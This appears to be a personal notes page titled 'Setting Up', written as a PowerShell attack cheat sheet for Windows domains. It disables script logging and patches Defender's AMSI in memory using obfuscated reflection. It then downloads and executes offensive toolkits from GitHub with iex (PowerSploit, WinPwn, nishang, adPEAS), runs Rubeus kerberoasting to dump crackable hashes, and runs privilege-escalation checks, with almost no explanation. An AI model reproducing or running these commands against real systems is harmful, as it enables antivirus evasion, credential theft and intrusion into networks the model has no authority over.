




# Setting Up

 Owner	 Raymond Soreng
 Tags	

```
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUse
r
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityPr
otocolType]::Tls12

$User = $env:UserName
$Domain = $env:USERDOMAIN
$ComputerName = $env:COMPUTERNAME

$module = Get-Module Microsoft.PowerShell.Utility # Get targe
t module
$module.LogPipelineExecutionDetails = $false # Set module exe
cution details to false
$snap = Get-PSSnapin Microsoft.PowerShell.Core # Get target p
s-snapin
$snap.LogPipelineExecutionDetails = $false # Set ps-snapin ex
ecution details to false

$APIs = @"
using System;
using System.Runtime.InteropServices;
public class APIs {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModul
e, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
```

```

        public static extern bool VirtualProtect(IntPtr lpAddress,
        UIntPtr dwSize, uint dwNewProtect, out uint lpflOldProtect);
    }
    "@

```

Add-Type \$APIs

```

$wzys = "0xB8"
$coxo = "0x57"
$hxyu = "0x00"
$eqhh = "0x07"
$paej = "0x80"
$ppiy = "0xC3"
$Patch = [Byte[]] ($wzys,$coxo,$hxyu,$eqhh,$paej,$ppiy)

$LoadLibrary = [APIs]::LoadLibrary("MpOav.dll")
$Address = [APIs]::GetProcAddress($LoadLibrary,"DllGetClassObject")
$P = 0
[APIs]::VirtualProtect($Address, [uint32]6, 0x40, [ref]$P)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
$Object = [Ref].Assembly.GetType('System.Management.Automation.Automation.A'+[char]0+'ms'+[char]0+'ti'+[char]0+'ls')
$Uninitialize = $Object.GetMethods('N'+[char]0+'onPu'+[char]0+'blic,st'+[char]0+'t'+[char]0+'ic') | Where-Object Name -eq Uninitialize
$Uninitialize.Invoke($Object,$null)

(new-object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
(new-object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
(new-object System.Net.WebClient).DownloadString('https://raw

```

```
w.githubusercontent.com/PowerShellMafia/PowerSploit/master/PowerSploit.psd1')
(new-object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/PowerSploit.psm1')
(new-object System.Net.WebClient).DownloadString('https://github.com/cmndcntrlcyber/PowerSploit')
(new-object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/combatcougar/adPEAS/main/adPEAS.ps1')
(new-object System.Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1')
(new-object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/combatcougar/nishang/master/powerpreter/Powerpreter.psm1')
```

```
Invoke-Rubeus -Command "kerberoast /format:hashcat /nowrap" > C:\Temp\kcat.txt
```

```
Get-ServiceUnquoted > C:\Temp\svcs.txt
```

```
Get-ModifiableServiceFile -Verbose >> C:\Temp\svcs.txt
```

```
Invoke-AllChecks > C:\Temp\allchecks.txt
```

#### ▼ Module Web Links

```
iex (new-object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/ActiveDirectory/ActiveDirectory.psd1')
```

```
iex (new-object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
```

```
iex (new-object System.Net.WebClient).DownloadString('https://github.com/samratashok/nishang/blob/master/powerpreter/Powerpreter.psm1')
```

```
iex (new-object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
```

```
iex (new-object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/PowerSploit.psd1')
```

```
iex (new-object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/PowerSploit.psm1')
```

```
iex (new-object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')
```

```
iex (new-object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS.ps1')
```